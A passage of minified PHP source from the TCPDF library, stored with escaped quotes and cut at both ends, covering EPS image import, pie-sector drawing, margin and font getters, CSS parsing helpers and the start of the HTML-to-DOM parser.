".\'endobj\';$this->_out($out);$this->_newobj();$out=\'<< /Type /Mask /S /Luminosity /G \'.($this->n-1).\' 0 R >>\'."
".\'endobj\';$this->_out($out);$this->_newobj();$out=\'<< /Type /ExtGState /SMask \'.($this->n-1).\' 0 R /AIS false >>\'."
".\'endobj\';$this->_out($out);$this->extgstates[]=array(\'n\'=>$this->n,\'name\'=>\'TGS\'.$id);}}} function PieSector($xc,$yc,$r,$a,$b,$style=\'FD\',$cw=true,$o=90){$this->PieSectorXY($xc,$yc,$r,$r,$a,$b,$style,$cw,$o);} function PieSectorXY($xc,$yc,$rx,$ry,$a,$b,$style=\'FD\',$cw=false,$o=0,$nc=2){if($this->state!=2){return;}if($this->rtl){$xc=($this->w-$xc);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op==\'f\'){$line_style=array();}if($cw){$d=$b;$b=(360-$a+$o);$a=(360-$d+$o);}else {$b+=$o;$a+=$o;}$this->_outellipticalarc($xc,$yc,$rx,$ry,0,$a,$b,true,$nc);$this->_out($op);} function ImageEps($file,$x=\'\',$y=\'\',$w=0,$h=0,$link=\'\',$useBoundingBox=true,$align=\'\',$palign=\'\',$border=0,$fitonpage=false,$fixoutvals=false){if($this->state!=2){return;}if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,\'EPS\',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;if($file[0]===\'@\'){$data=substr($file,1);}else {$data=TCPDF_STATIC::fileGetContents($file);}if($data===FALSE){$this->Error(\'EPS file not found: \'.$file);}$regs=array();preg_match("/%%Creator:([^
]+)/",$data,$regs);if(count($regs)>1){$version_str=trim($regs[1]);if(strpos($version_str,\'Adobe Illustrator\')!==false){$versexp=explode(\' \',$version_str);$version=(float)array_pop($versexp);if($version>=9){$this->Error(\'This version of Adobe Illustrator file is not supported: \'.$file);}}}$start=strpos($data,\'%!PS-Adobe\');if($start>0){$data=substr($data,$start);}preg_match("/%%BoundingBox:([^
]+)/",$data,$regs);if(count($regs)>1){list($x1,$y1,$x2,$y2)=explode(\' \',trim($regs[1]));}else {$this->Error(\'No BoundingBox found in EPS/AI file: \'.$file);}$start=strpos($data,\'%%EndSetup\');if($start===false){$start=strpos($data,\'%%EndProlog\');}if($start===false){$start=strpos($data,\'%%BoundingBox\');}$data=substr($data,$start);$end=strpos($data,\'%%PageTrailer\');if($end===false){$end=strpos($data,\'showpage\');}if($end){$data=substr($data,0,$end);}if(($w<=0) AND ($h<=0)){$w=($x2-$x1)/$k;$h=($y2-$y1)/$k;}elseif($w<=0){$w=($x2-$x1)/$k*($h/(($y2-$y1)/$k));}elseif($h<=0){$h=($y2-$y1)/$k*($w/(($x2-$x1)/$k));}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,\'EPS\',$link,$align,true,300,$palign,false,false,$border,false,false,$fitonpage);}$scale_x=$w/(($x2-$x1)/$k);$scale_y=$h/(($y2-$y1)/$k);$this->img_rb_y=$y+$h;if($this->rtl){if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($useBoundingBox){$dx=$ximg*$k-$x1;$dy=$y*$k-$y1;}else {$dx=$ximg*$k;$dy=$y*$k;}$this->_out(\'q\'.$this->epsmarker);$this->_out(sprintf(\'%F %F %F %F %F %F cm\',1,0,0,1,$dx,$dy+($this->hPt-(2*$y*$k)-($y2-$y1))));if(isset($scale_x)){$this->_out(sprintf(\'%F %F %F %F %F %F cm\',$scale_x,0,0,$scale_y,$x1*(1-$scale_x),$y2*(1-$scale_y)));}$lines=preg_split(\'/[
]+/si\',$data,-1,PREG_SPLIT_NO_EMPTY);$u=0;$cnt=count($lines);for($i=0;$i<$cnt;++$i){$line=$lines[$i];if(($line==\'\') OR ($line[0]==\'%\')){continue;}$len=strlen($line);$color_name=\'\';if(strcasecmp(\'x\',substr(trim($line),-1))==0){if(preg_match(\'/\([^\)]*\)/\',$line,$matches)>0){$color_name=$matches[0];$line=str_replace(\' \'.$color_name,\'\',$line);$color_name=substr($color_name,1,-1);}}$chunks=explode(\' \',$line);$cmd=trim(array_pop($chunks));if(($cmd==\'Xa\') OR ($cmd==\'XA\')){$b=array_pop($chunks);$g=array_pop($chunks);$r=array_pop($chunks);$this->_out(\'\'.$r.\' \'.$g.\' \'.$b.\' \'.($cmd==\'Xa\'?\'rg\':\'RG\'));continue;}$skip=false;if($fixoutvals){switch($cmd){case \'m\':case \'l\':case \'L\':{foreach($chunks as $key=>$val){if((($key%2)==0) AND (($val<$x1) OR ($val>$x2))){$skip=true;}elseif((($key%2)!=0) AND (($val<$y1) OR ($val>$y2))){$skip=true;}}}}}switch($cmd){case \'m\':case \'l\':case \'v\':case \'y\':case \'c\':case \'k\':case \'K\':case \'g\':case \'G\':case \'s\':case \'S\':case \'J\':case \'j\':case \'w\':case \'M\':case \'d\':case \'n\':{if($skip){break;}$this->_out($line);break;}case \'x\':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(\'\'.$col_c.\' \'.$col_m.\' \'.$col_y.\' \'.$col_k.\' k\');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf(\'/CS%d cs %F scn\',$this->spot_colors[$color_name][\'i\'],(1-$col_t));$this->_out($color_cmd);}break;}case \'X\':{if(empty($color_name)){list($col_c,$col_m,$col_y,$col_k)=$chunks;$this->_out(\'\'.$col_c.\' \'.$col_m.\' \'.$col_y.\' \'.$col_k.\' K\');}else {list($col_c,$col_m,$col_y,$col_k,$col_t)=$chunks;$this->AddSpotColor($color_name,($col_c*100),($col_m*100),($col_y*100),($col_k*100));$color_cmd=sprintf(\'/CS%d CS %F SCN\',$this->spot_colors[$color_name][\'i\'],(1-$col_t));$this->_out($color_cmd);}break;}case \'Y\':case \'N\':case \'V\':case \'L\':case \'C\':{if($skip){break;}$line[($len-1)]=strtolower($cmd);$this->_out($line);break;}case \'b\':case \'B\':{$this->_out($cmd.\'*\');break;}case \'f\':case \'F\':{if($u>0){$isU=false;$max=min(($i+5),$cnt);for($j=($i+1);$j<$max;++$j){$isU=($isU OR (($lines[$j]==\'U\') OR ($lines[$j]==\'*U\')));}if($isU){$this->_out(\'f*\');}}else {$this->_out(\'f*\');}break;}case \'*u\':{++$u;break;}case \'*U\':{--$u;break;}}}$this->_out($this->epsmarker.\'Q\');if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,\'\',$border,0,\'\',0,\'\',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case \'T\':{$this->y=$y;$this->x=$this->img_rb_x;break;}case \'M\':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case \'B\':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case \'N\':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;} function getMargins(){$ret=array(\'left\'=>$this->lMargin,\'right\'=>$this->rMargin,\'top\'=>$this->tMargin,\'bottom\'=>$this->bMargin,\'header\'=>$this->header_margin,\'footer\'=>$this->footer_margin,\'cell\'=>$this->cell_padding,\'padding_left\'=>$this->cell_padding[\'L\'],\'padding_top\'=>$this->cell_padding[\'T\'],\'padding_right\'=>$this->cell_padding[\'R\'],\'padding_bottom\'=>$this->cell_padding[\'B\']);return $ret;} function getOriginalMargins(){$ret=array(\'left\'=>$this->original_lMargin,\'right\'=>$this->original_rMargin);return $ret;} function getFontSize(){return $this->FontSize;} function getFontSizePt(){return $this->FontSizePt;} function getFontFamily(){return $this->FontFamily;} function getFontStyle(){return $this->FontStyle;} function fixHTMLCode($html,$default_css=\'\',$tagvs=\'\',$tidy_options=\'\'){return TCPDF_STATIC::fixHTMLCode($html,$default_css,$tagvs,$tidy_options,$this->tagvspaces);} function getCSSBorderWidth($width){if($width==\'thin\'){$width=(2/$this->k);}elseif($width==\'medium\'){$width=(4/$this->k);}elseif($width==\'thick\'){$width=(6/$this->k);}else {$width=$this->getHTMLUnitToUnits($width,1,\'px\',false);}return $width;} function getCSSBorderDashStyle($style){switch(strtolower($style)){case \'none\':case \'hidden\':{$dash=-1;break;}case \'dotted\':{$dash=1;break;}case \'dashed\':{$dash=3;break;}case \'double\':case \'groove\':case \'ridge\':case \'inset\':case \'outset\':case \'solid\':default:{$dash=0;break;}}return $dash;} function getCSSBorderStyle($cssborder){$bprop=preg_split(\'/[\s]+/\',trim($cssborder));$border=array();switch(count($bprop)){case 3:{$width=$bprop[0];$style=$bprop[1];$color=$bprop[2];break;}case 2:{$width=\'medium\';$style=$bprop[0];$color=$bprop[1];break;}case 1:{$width=\'medium\';$style=$bprop[0];$color=\'black\';break;}default:{$width=\'medium\';$style=\'solid\';$color=\'black\';break;}}if($style==\'none\'){return array();}$border[\'cap\']=\'square\';$border[\'join\']=\'miter\';$border[\'dash\']=$this->getCSSBorderDashStyle($style);if($border[\'dash\']<0){return array();}$border[\'width\']=$this->getCSSBorderWidth($width);$border[\'color\']=TCPDF_COLORS::convertHTMLColorToDec($color,$this->spot_colors);return $border;} function getCSSPadding($csspadding,$width=0){$padding=preg_split(\'/[\s]+/\',trim($csspadding));$cell_padding=array();switch(count($padding)){case 4:{$cell_padding[\'T\']=$padding[0];$cell_padding[\'R\']=$padding[1];$cell_padding[\'B\']=$padding[2];$cell_padding[\'L\']=$padding[3];break;}case 3:{$cell_padding[\'T\']=$padding[0];$cell_padding[\'R\']=$padding[1];$cell_padding[\'B\']=$padding[2];$cell_padding[\'L\']=$padding[1];break;}case 2:{$cell_padding[\'T\']=$padding[0];$cell_padding[\'R\']=$padding[1];$cell_padding[\'B\']=$padding[0];$cell_padding[\'L\']=$padding[1];break;}case 1:{$cell_padding[\'T\']=$padding[0];$cell_padding[\'R\']=$padding[0];$cell_padding[\'B\']=$padding[0];$cell_padding[\'L\']=$padding[0];break;}default:{return $this->cell_padding;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_padding[\'T\']=$this->getHTMLUnitToUnits($cell_padding[\'T\'],$width,\'px\',false);$cell_padding[\'R\']=$this->getHTMLUnitToUnits($cell_padding[\'R\'],$width,\'px\',false);$cell_padding[\'B\']=$this->getHTMLUnitToUnits($cell_padding[\'B\'],$width,\'px\',false);$cell_padding[\'L\']=$this->getHTMLUnitToUnits($cell_padding[\'L\'],$width,\'px\',false);return $cell_padding;} function getCSSMargin($cssmargin,$width=0){$margin=preg_split(\'/[\s]+/\',trim($cssmargin));$cell_margin=array();switch(count($margin)){case 4:{$cell_margin[\'T\']=$margin[0];$cell_margin[\'R\']=$margin[1];$cell_margin[\'B\']=$margin[2];$cell_margin[\'L\']=$margin[3];break;}case 3:{$cell_margin[\'T\']=$margin[0];$cell_margin[\'R\']=$margin[1];$cell_margin[\'B\']=$margin[2];$cell_margin[\'L\']=$margin[1];break;}case 2:{$cell_margin[\'T\']=$margin[0];$cell_margin[\'R\']=$margin[1];$cell_margin[\'B\']=$margin[0];$cell_margin[\'L\']=$margin[1];break;}case 1:{$cell_margin[\'T\']=$margin[0];$cell_margin[\'R\']=$margin[0];$cell_margin[\'B\']=$margin[0];$cell_margin[\'L\']=$margin[0];break;}default:{return $this->cell_margin;}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$cell_margin[\'T\']=$this->getHTMLUnitToUnits(str_replace(\'auto\',\'0\',$cell_margin[\'T\']),$width,\'px\',false);$cell_margin[\'R\']=$this->getHTMLUnitToUnits(str_replace(\'auto\',\'0\',$cell_margin[\'R\']),$width,\'px\',false);$cell_margin[\'B\']=$this->getHTMLUnitToUnits(str_replace(\'auto\',\'0\',$cell_margin[\'B\']),$width,\'px\',false);$cell_margin[\'L\']=$this->getHTMLUnitToUnits(str_replace(\'auto\',\'0\',$cell_margin[\'L\']),$width,\'px\',false);return $cell_margin;} function getCSSBorderMargin($cssbspace,$width=0){$space=preg_split(\'/[\s]+/\',trim($cssbspace));$border_spacing=array();switch(count($space)){case 2:{$border_spacing[\'H\']=$space[0];$border_spacing[\'V\']=$space[1];break;}case 1:{$border_spacing[\'H\']=$space[0];$border_spacing[\'V\']=$space[0];break;}default:{return array(\'H\'=>0,\'V\'=>0);}}if($width==0){$width=$this->w-$this->lMargin-$this->rMargin;}$border_spacing[\'H\']=$this->getHTMLUnitToUnits($border_spacing[\'H\'],$width,\'px\',false);$border_spacing[\'V\']=$this->getHTMLUnitToUnits($border_spacing[\'V\'],$width,\'px\',false);return $border_spacing;} function getCSSFontSpacing($spacing,$parent=0){$val=0;$spacing=trim($spacing);switch($spacing){case \'normal\':{$val=0;break;}case \'inherit\':{if($parent==\'normal\'){$val=0;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($spacing,0,\'px\',false);}}return $val;} function getCSSFontStretching($stretch,$parent=100){$val=100;$stretch=trim($stretch);switch($stretch){case \'ultra-condensed\':{$val=40;break;}case \'extra-condensed\':{$val=55;break;}case \'condensed\':{$val=70;break;}case \'semi-condensed\':{$val=85;break;}case \'normal\':{$val=100;break;}case \'semi-expanded\':{$val=115;break;}case \'expanded\':{$val=130;break;}case \'extra-expanded\':{$val=145;break;}case \'ultra-expanded\':{$val=160;break;}case \'wider\':{$val=($parent+10);break;}case \'narrower\':{$val=($parent-10);break;}case \'inherit\':{if($parent==\'normal\'){$val=100;}else {$val=$parent;}break;}default:{$val=$this->getHTMLUnitToUnits($stretch,100,\'%\',false);}}return $val;} function getHTMLFontUnits($val,$refsize=12,$parent_size=12,$defaultunit=\'pt\'){$refsize=TCPDF_FONTS::getFontRefSize($refsize);$parent_size=TCPDF_FONTS::getFontRefSize($parent_size,$refsize);switch($val){case \'xx-small\':{$size=($refsize-4);break;}case \'x-small\':{$size=($refsize-3);break;}case \'small\':{$size=($refsize-2);break;}case \'medium\':{$size=$refsize;break;}case \'large\':{$size=($refsize+2);break;}case \'x-large\':{$size=($refsize+4);break;}case \'xx-large\':{$size=($refsize+6);break;}case \'smaller\':{$size=($parent_size-3);break;}case \'larger\':{$size=($parent_size+3);break;}default:{$size=$this->getHTMLUnitToUnits($val,$parent_size,$defaultunit,true);}}return $size;} function getHtmlDomArray($html){$css=array();$matches=array();if(preg_match_all(\'/<cssarray>([^\<]*)<\/cssarray>/isU\',$html,$matches)>0){if(isset($matches[1][0])){$css=array_merge($css,json_decode($this->unhtmlentities($matches[1][0]),true));}$html=preg_replace(\'/<cssarray>(.*?)<\/cssarray>/isU\',\'\',$html);}$matches=array();if(preg_match_all(\'/<link([^\>]*)>/isU\',$html,$matches)>0){foreach($matches[1] as $key=>$link){$type=array();if(preg_match(\'/type[\s]*=[\s]*"text\/css"/\',$link,$type)){$type=array();preg_match(\'/media[\s]*=[\s]*"([^"]*)"/\',$link,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]==\'all\') OR ($type[1]==\'print\')))){$type=array();if(preg_match(\'/href[\s]*=[\s]*"([^"]*)"/\',$link,$type)>0){$cssdata=TCPDF_STATIC::fileGetContents(trim($type[1]));if(($cssdata!==FALSE) AND (strlen($cssdata)>0)){$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}}}}$matches=array();if(preg_match_all(\'/<style([^\>]*)>([^\<]*)<\/style>/isU\',$html,$matches)>0){foreach($matches[1] as $key=>$media){$type=array();preg_match(\'/media[\s]*=[\s]*"([^"]*)"/\',$media,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]==\'all\') OR ($type[1]==\'print\')))){$cssdata=$matches[2][$key];$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}$csstagarray=\'<cssarray>\'.htmlentities(json_encode($css)).\'</cssarray>\';$html=preg_replace(\'/<head([^\>]*)>(.*?)<\/head>/siU\',\'\',$html);$html=preg_replace(\'/<style([^\>]*)>([^\<]*)<\/style>/isU\',\'\',$html);$blocktags=array(\'blockquote\',\'br\',\'dd\',\'dl\',\'div\',\'dt\',\'h1\',\'h2\',\'h3\',\'h4\',\'h5\',\'h6\',\'hr\',\'li\',\'ol\',\'p\',\'pre\',\'ul\',\'tcpdf\',\'table\',\'tr\',\'td\');$selfclosingtags=array(\'area\',\'base\',\'basefont\',\'br\',\'hr\',\'input\',\'img\',\'link\',\'meta\');$html=strip_tags($html,\'<marker/><a><b><blockquote><body><br><br/><dd><del><div><dl><dt><em><font><form><h1><h2><h3><h4><h5><h6><hr><hr/><i><img><input><label><li><ol><option><p><pre><s><select><small><span><strike><strong><sub><sup><table><tablehead><tcpdf><td><textarea><th><thead><tr><tt><u><ul>\');$html=preg_replace(\'/<pre/\',\'<xre\',$html);$html=preg_replace(\'/<(table|tr|td|th|tcpdf|blockquote|dd|div|dl|dt|form|h1|h2|h3|h4|h5|h6|br|hr|li|ol|ul|p)([^\>]*)>[
]+/\',\'<\1\2>\',$html);$html=preg_replace(\'@(
|
)@\',"
",$html);$repTable=array(" "=>\' \',""=>\' \',""=>\' \',"\"=>"\\");$html=strtr($html,$repTable);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,\'</pre>\',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+6));while(preg_match("\'<xre([^\>]*)>(.*?)
(.*?)</pre>\'si",$html_b)){$html_b=preg_replace("\'<xre([^\>]*)>(.*?)
(.*?)</pre>\'si","<xre\1>\2<br />\3</pre>",$html_b);}while(preg_match("\'<xre([^\>]*)>(.*?)".$this->re_space[\'p\']."(.*?)</pre>\'".$this->re_space[\'m\'],$html_b)){$html_b=preg_replace("\'<xre([^\>]*)>(.*?)".$this->re_space[\'p\']."(.*?)</pre>\'".$this->re_space[\'m\'],"<xre\1>\2 \3</pre>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+6);$offset=strlen($html_a.$html_b);}$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,\'</textarea>\',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+11));while(preg_match("\'<textarea([^\>]*)>(.*?)
(.*?)</textarea>\'si",$html_b)){$html_b=preg_replace("\'<textarea([^\>]*)>(.*?)
(.*?)</textarea>\'si","<textarea\1>\2<TBR>\3</textarea>",$html_b);$html_b=preg_replace("\'<textarea([^\>]*)>(.*?)[\"](.*?)</textarea>\'si","<textarea\1>\2\'\'\3</textarea>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+11);$offset=strlen($html_a.$html_b);}$html=preg_replace(\'/([\s]*)<option/si\',\'<option\',$html);$html=preg_replace(\'/<\/option>([\s]*)/si\',\'</option>\',$html);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,\'</option>\',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+9));while(preg_match("\'<option([^\>]*)>(.*?)</option>\'si",$html_b)){$html_b=preg_replace("\'<option([\s]+)value=\"([^\"]*)\"([^\>]*)>(.*?)</option>\'si","\2#!TaB!#\4#!NwL!#",$html_b);$html_b=preg_replace("\'<option([^\>]*)>(.*?)</option>\'si","\2#!NwL!#",$html_b);}$html=$html_a.$html_b.substr($html,$pos+9);$offset=strlen($html_a.$html_b);}if(preg_match("\'</select\'si",$html)){$html=preg_replace("\'<select([^\>]*)>\'si","<select\1 opt=\"",$html);$html=preg_replace("\'#!NwL!#</select>\'si","\" />",$html);}$html=str_replace("
",\' \',$html);$html=str_replace(\'<TBR>\',"
",$html);$html=preg_replace(\'/[\s]+<\/(table|tr|ul|ol|dl)>/\',\'</\1>\',$html);$html=preg_replace(\'/\'.$this->re_space[\'p\'].\'+<\/(td|th|li|dt|dd)>/\'.$this->re_space[\'m\'],\'</\1>\',$html);$html=preg_replace(\'/[\s]+<(tr|td|th|li|dt|dd)/\',\'<\1\',$html);$html=preg_replace(\'/\'.$this->re_space[\'p\'].\'+<(ul|ol|dl|br)/\'.$this->re_space[\'m\'],\'<\1\',$html);$html=preg_replace(\'/<\/(table|tr|td|th|blockquote|dd|dt|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|ul|p)>[\s]+</\',\'</\1><\',$html);$html=preg_replace(\'/<\/(td|th)>/\',\'<marker style="font-size:0"/></\1>\',$html);$html=preg_replace(\'/<\/table>([\s]*)<marker style="font-size:0"\/>/\',\'</table>\',$html);$html=preg_replace(\'/\'.$this->re_space[\'p\'].\'+<img/\'.$this->re_space[\'m\'],chr(32).\'<img\',$html);$html=preg_replace(\'/<img([^\>]*)>[\s]+([^\<])/xi\',\'<img\1> \2\',$html);$html=preg_replace(\'/<img([^\>]*)>/xi\',\'<img\1><span><marker style="font-size:0"/></span>\',$html);$html=preg_replace(\'/<xre/\',\'<pre\',$html);$html=preg_replace(\'/<textarea([^\>]*)>([^\<]*)<\/textarea>/xi\',\'<textarea\1 value="\2" />\',$html);$html=preg_replace(\'/<li([^\>]*)><\/li>/\',\'<li\1> </li>\',$html);$html=preg_replace(\'/<li([^\>]*)>\'.$this->re_space[\'p\'].\'*<img/\'.$this->re_space[\'m\'],\'<li\1><font size="1"> </font><img\',$html);$html=preg_replace(\'/<([^\>\/]*)>[\s]/\',\'<\1> \',$html);$html=preg_replace(\'/[\s]<\/([^\>]*)>/\',\' </\1>\',$html);$html=preg_replace(\'/<su([bp])/\',\'<zws/><su\1\',$html);$html=preg_replace(\'/<\/su([bp])>/\',\'</su\1><zws/>\',$html);$html=preg_replace(\'/\'.$this->re_space[\'p\'].\'+/\'.$this->re_space[\'m\'],chr(32),$html);$html=$this->stringTrim($html);$html=preg_replace(\'/<li><br([^\>]*)>/\',\'<li> <br\1>\',$html);$html=preg_replace(\'/^<img/\',\'<span style="font-size:0"><br /></span> <img\',$html,1);$tagpattern=\'/(<[^>]+>)/\';$a=preg_split($tagpattern,$html,-1,PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);$maxel=count($a);$elkey=0;$key=0;$dom=array();$dom[$key]=array();$dom[$key][\'tag\']=false;$dom[$key][\'block\']=false;$dom[$key][\'value\']=\'\';$dom[$key][\'parent\']=0;$dom[$key][\'hide\']=false;$dom[$key][\'fontname\']=$this->FontFamily;$dom[$key][\'fontstyle\']=$this->FontStyle;$dom[$key][\'fontsize\']=$this->FontSizePt;$dom[$key][\'font-stretch\']=$this->font_stretching;$dom[$key][\'letter-spacing\']=$this->font_spacing;$dom[$key][\'stroke\']=$this->textstrokewidth;$dom[$key][\'fill\']=(($this->textrendermode%2)==0);$dom[$key][\'clip\']=($this->textrendermode>3);$dom[$key][\'line-height\']=$this->cell_height_ratio;$dom[$key][\'bgcolor\']=false;$dom[$key][\'fgcolor\']=$this->fgcolor;$dom[$key][\'strokecolor\']=$this->strokecolor;$dom[$key][\'align\']=\'\';$dom[$key][\'listtype\']=\'\';$dom[$key][\'text-indent\']=0;$dom[$key][\'text-transform\']=\'\';$dom[$key][\'border\']=array();$dom[$key][\'dir\']=$this->rtl?\'rtl\':\'ltr\';$thead=false;++$key;$level=array();array_push($level,0);while($elkey<$maxel){$dom[$key]=array();$element=$a[$elkey];$dom[$key][\'elkey\']=$elkey;if(preg_match($tagpattern,$element)){$element=substr($element,1,-1);preg_match(\'/[\/]?([a-zA-Z0-9]*)/\',$element,$tag);$tagname=strtolower($tag[1]);if($tagname==\'thead\'){if($element[0]==\'/\'){$thead=false;}else {$thead=true;}++$elkey;continue;}$dom[$key][\'tag\']=true;$dom[$key][\'value\']=$tagname;if(in_array($dom[$key][\'value\'],$blocktags)){$dom[$key][\'block\']=true;}else {$dom[$key][\'block\']=false;}if($element[0]==\'/\'){$dom[$key][\'opening\']=false;$dom[$key][\'parent\']=end($level);array_pop($level);$dom[$key][\'hide\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'hide\'];$dom[$key][\'fontname\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'fontname\'];$dom[$key][\'fontstyle\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'fontstyle\'];$dom[$key][\'fontsize\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'fontsize\'];$dom[$key][\'font-stretch\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'font-stretch\'];$dom[$key][\'letter-spacing\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'letter-spacing\'];$dom[$key][\'stroke\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'stroke\'];$dom[$key][\'fill\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'fill\'];$dom[$key][\'clip\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'clip\'];$dom[$key][\'line-height\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'line-height\'];$dom[$key][\'bgcolor\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'bgcolor\'];$dom[$key][\'fgcolor\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'fgcolor\'];$dom[$key][\'strokecolor\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'strokecolor\'];$dom[$key][\'align\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'align\'];$dom[$key][\'text-transform\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'text-transform\'];$dom[$key][\'dir\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'dir\'];if(isset($dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'listtype\'])){$dom[$key][\'listtype\']=$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'listtype\'];}if(($dom[$key][\'value\']==\'tr\') AND (!isset($dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'cols\']))){$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'cols\']=$dom[($dom[$key][\'parent\'])][\'cols\'];}if(($dom[$key][\'value\']==\'td\') OR ($dom[$key][\'value\']==\'th\')){$dom[($dom[$key][\'parent\'])][\'content\']=$csstagarray;for($i=($dom[$key][\'parent\']+1);$i<$key;++$i){$dom[($dom[$key][\'parent\'])][\'content\'].=stripslashes($a[$dom[$i][\'elkey\']]);}$key=$i;$dom[($dom[$key][\'parent\'])][\'content\']=str_replace(\'<table\',\'<table nested="true"\',$dom[($dom[$key][\'parent\'])][\'content\']);$dom[($dom[$key][\'parent\'])][\'content\']=str_replace(\'<thead>\',\'\',$dom[($dom[$key][\'parent\'])][\'content\']);$dom[($dom[$key][\'parent\'])][\'content\']=str_replace(\'</thead>\',\'\',$dom[($dom[$key][\'parent\'])][\'content\']);}if(($dom[$key][\'value\']==\'tr\') AND ($dom[($dom[$key][\'parent\'])][\'thead\']===true)){if(TCPDF_STATIC::empty_string($dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'thead\'])){$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'thead\']=$csstagarray.$a[$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'elkey\']];}for($i=$dom[$key][\'parent\'];$i<=$key;++$i){$dom[($dom[($dom[$key][\'parent\'])][\'parent\'])][\'thead\'].=$a[$dom[$i][\'elkey\']];}if(!isset($dom[($dom[$key][\'parent\'])][\'attribute\'])){$dom[($dom[$key][\'parent\'])][\'attribute\']=array();}$dom[($dom[$key][\'parent\'])][\'attribute\'][\'nobr\']=\'true\';}if(($dom[$key][\'value\']==\'table\') AND (!TCPDF_STATIC::empty_string($dom[($dom[$key][\'parent\'])][\'thead\']))){$dom[($dom[$key][\'parent\'])][\'thead\']=str_replace(\' nobr="true"\',\'\',$dom[($dom[$key][\'parent\'])][\'thead\']);$dom[($dom[$key][\'parent\'])][\'thead\'].=\'</tablehead>\';}}else {$dom[$key][\'opening\']=true;$dom[$key][\'parent\']=end($level);if((substr($element,-1,1)==\'/\') OR (in_array($dom[$key][\'value\'],$selfclosingtags))){$dom[$key][\'self\']=true;}else {array_push($level,$key);$dom[$key][\'self\']=false;}$parentkey=0;if($key>0){$parentkey=$dom[$key][\'parent\'];$dom[$key][\'hide\']=$dom[$parentkey][\'hide\'];$dom[$key][\'fontname\']=$dom[$parentkey][\'fontname\'];$dom[$key][\'fontstyle\']=$dom[$parentkey][\'fontstyle\'];$dom[$key][\'fontsize\']=$dom[$parentkey][\'fontsize\'];$dom[$key][\'font-stretch\']=$dom[$parentkey][\'font-stretch\'];$dom[$key][\'letter-spacing\']=$dom[$parentkey][\'letter-spacing\'];$dom[$key][\'stroke\']=$dom[$parentkey][\'stroke\'];$dom[$key][\'fill\']=$dom[$parentkey][\'fill\'];$dom[$key][\'clip\']=$dom[$parentkey][\'clip\'];$dom[$key][\'line-height\']=$dom[$parentkey][\'line-height\'];$dom[$key][\'bgcolor\']=$dom[$parentkey][\'bgcolor\'];$dom[$key][\'fgcolor\']=$dom[$parentkey][\'fgcolor\'];$dom[$key][\'strokecolor\']=$dom[$parentkey][\'stroke